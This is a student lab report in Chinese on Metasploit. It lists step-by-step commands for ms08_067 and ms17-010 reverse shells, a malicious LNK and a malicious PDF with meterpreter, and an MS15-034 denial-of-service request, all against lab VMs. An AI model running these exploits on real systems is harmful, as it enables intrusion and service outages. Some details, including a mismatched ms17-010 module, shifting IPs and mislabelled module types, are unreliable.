2019-2020-2 网络对抗技术 20175208 Exp6 MSF基础应用
2019-2020-2 网络对抗技术 20175208 Exp6 MSF基础应用
- 2019-2020-2 网络对抗技术 20175208 Exp6 MSF基础应用
- 原理与实践说明
- 实践原理
- 基础问题回答
- 实验内容
- 任务一:主动攻击实践
- 如ms08_067
- ms17-010
- 任务二:一个针对浏览器的攻击
- 任务三:一个针对客户端的攻击
- 任务四:成功应用任何一个辅助模块
- 任务一:主动攻击实践
- 实验感想
- 原理与实践说明
原理与实践说明
实践原理
1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件
- 查看六种模块源码目录
/usr/share/metasploit-framework/modules
- 渗透攻击模块(Exploit Modules)
- 攻击漏洞,把shellcode"背"过去
- 针对每一个漏洞,写一段攻击代码
- 辅助模块(Auxiliary Modules)
- 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷(Payload Modules)
- 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块(Payload Modules)
- 编码模块(Payload Modules)
- 后渗透攻击模块(Payload Modules)
2、 用户操作界面
- msfconsole
- 开发部署成本低、兼容性高、方便自动化
- 指令需要记
- armitage
- 点选模块 不用记忆
- 使用不灵活
- webgui
- 跨平台 高效 功能强大
3、 MSF常用漏洞指令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
基础问题回答
用自己的话解释什么是exploit,payload,encode.
- exploit就是载具,将真正要负责攻击的代码传送到靶机中。
- payload就是载荷,是我们exploit中shellcode中的主要功能代码,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
- encode就是编码,是我们用来修改字符,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码
实验内容
任务一:主动攻击实践
如ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
-
实现:ms08_067
-
攻击机:Kali 192.168.233.131
-
靶机:Windows xp sp3 192.168.233.147
-
payload :
generic/shell_reverse_tcp
-
测试靶机与攻击机之间能否ping通
-
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.233.147
-
查看到靶机的版本号
-
查看到靶机存在此漏洞
-
-
msfconsole
打开控制台 -
search ms08-067
查看漏洞位置
-
use exploit/windows/smb/ms08_067_netapi
选择该漏洞 -
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOSTS 192.168.62.31
设置靶机IP -
set LHOSTS 192.168.62.21
设置攻击机IP -
exploit
进行攻击 -
验证连接结果,例如
ipconfig /all
命令
ms17-010
-
实现:ms17-010
-
攻击机:kali 192.168.233.131
-
靶机:Windows xp sp3 192.168.233.147
-
payload:
generic/shell_reverse_tcp
-
攻击机使用
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.62.31
探测靶机是否存在该漏洞 -
search ms17-010
查看漏洞的渗透模块 -
use exploit/windows/smb/ms07_029_msdns_zonename
进入该模块 -
show payloads
显示有效的攻击载荷 -
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOST 192.168.233.147
设置靶机IP -
set LHOST 192.168.233.131
设置攻击机IP -
exploit
进行攻击 -
在用ms17-010攻击时,会出现靶机自动重启的状况,然后就会提示失败,无法成功获取靶机权限。。。
任务二:一个针对浏览器的攻击
-
实现:ms10-018
-
攻击机:kali 192.168.233.131
-
靶机:Windows xp sp3 192.168.233.147
-
payload:
windows/meterpreter/reverse_tcp
-
首先查看浏览器漏洞:
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
-
输入
ls
即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb
-
进入控制台:
msfconsole
,使用:use windows/browser/ms10_046_shortcut_icon_dllloader
-
查看一下这个漏洞的作用: info
-
此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.233.131 //设置监听地址
exploit //进行攻击
-
在靶机用浏览器打开生成的链接:
http://192.168.233.131:80/
-
查看会话: sessions
-
选取会话: session -i 1
任务三:一个针对客户端的攻击
-
实现:Adobe
-
攻击机:kali 192.168.233.131
-
靶机:Windows xp sp3 192.168.233.147
-
使用:
search adobe
查找Adobe漏洞 -
使用:
use windows/fileformat/adobe_cooltype_sing
使用漏洞 -
payload:
windows/meterpreter/reverse_tcp
-
设置相关参数
set LHOST 192.168.233.131 //攻击者地址
set FILENAME 5208.pdf //设置生成pdf文件的文件名
exploit //攻击
- 将生成的文件复制之后导入靶机中:
cp /root/.msf4/local/5208.pdf 5208.pdf
- 在靶机中使用双击打开5208
.pdf
控制台中输入back退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 set LHOST 192.168.233.131//kali IP set LPORT 5208 //设置攻击端口 exploit //监听
- 靶机中打开pdf文件,kali中发现回连成功,输入dir确认
任务四、成功应用任何一个辅助模块
一、MS15-034
-
原理
- 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
-
攻击过程
- 靶机:windows server 2008 R2
- 首先需要安装IIS服务,win08安装好iis服务后访问80端口,检测是否存在漏洞:使用curl发送以下数据
curl http://192.168.233.149 -H "Host: 192.168.233.149" -H "Range: bytes=0-18446744073709551615"
- 在msf中执行过程如下,原理与之前的一样
use auxiliary/dos/http/ms15_034_ulonglongadd set rhosts 192.168.1.101 set threads 10 run
- 攻击开始后,win08瞬间重启,截图如下
实验结论
实验总结与反思
- 这次实验找了很多靶机和漏洞,虽然试了很多都没有成功。。。当然通过这次实验也让我对MSF更加熟悉,也加强了解决问题的实践能力。
- 这次实验我用了整整一天的时间,主要是各种小毛病不断:win xp突然死机,不能用了,我重下的,又到处找激活码,试了10几个才好使;win2008冲下的,在网上找了好久;而且在实验过程中,我的电脑要开两个虚拟机,就总是卡,之后自动重启,我也是服了。。。